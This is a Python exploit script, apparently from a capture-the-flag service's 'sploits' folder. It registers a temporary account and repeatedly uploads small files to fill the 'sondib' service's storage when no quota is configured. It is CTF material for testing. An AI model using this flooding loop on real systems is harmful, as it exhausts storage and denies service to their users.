Files
mctf/sondib/sploits/storage_flood.py
T
2026-11-29 17:27:07 +03:00

81 lines
2.5 KiB
Python

#!/usr/bin/env python3
"""Fill sondib storage with valid uploads when no quota is configured."""
from __future__ import annotations
import argparse
import secrets
import string
import subprocess
import sys
import tempfile
from pathlib import Path
PORT = 7777
TIMEOUT = 10
SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def random_password() -> str:
alphabet = string.ascii_letters + string.digits
return "pw" + "".join(secrets.choice(alphabet) for _ in range(12))
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
return subprocess.run(
[str(SDB), args[0], target, *args[1:]],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=TIMEOUT,
check=False,
)
def run(target: str, count: int) -> int:
if not 1 <= count <= 65535:
raise ValueError("COUNT must be between 1 and 65535")
if not SDB.is_file():
raise RuntimeError(f"sdb client not found: {SDB}")
username = "flood" + secrets.token_hex(5)
password = random_password()
registered = run_sdb(target, "register", username, password)
if registered.returncode != 0:
raise RuntimeError("temporary user registration failed")
with tempfile.NamedTemporaryFile(prefix="sondib-flood-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = 0
for index in range(count):
title = f"quota-probe-{index:05d}-{secrets.token_hex(3)}"
result = run_sdb(target, "upload", username, password, title, "p", pcm.name)
if result.returncode != 0:
break
uploaded += 1
log(f"target={target} uploaded={uploaded} requested={count}")
if uploaded < count:
log("an upload limit or service failure was reached")
return 0
log("all requested uploads were accepted; no application quota observed")
return 1
def main() -> int:
parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT")
parser.add_argument("target", metavar="TARGET")
parser.add_argument("--count", type=int, required=True, metavar="COUNT")
args = parser.parse_args()
try:
return run(args.target, args.count)
except (OSError, RuntimeError, ValueError, subprocess.SubprocessError) as exc:
log(f"target={args.target} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())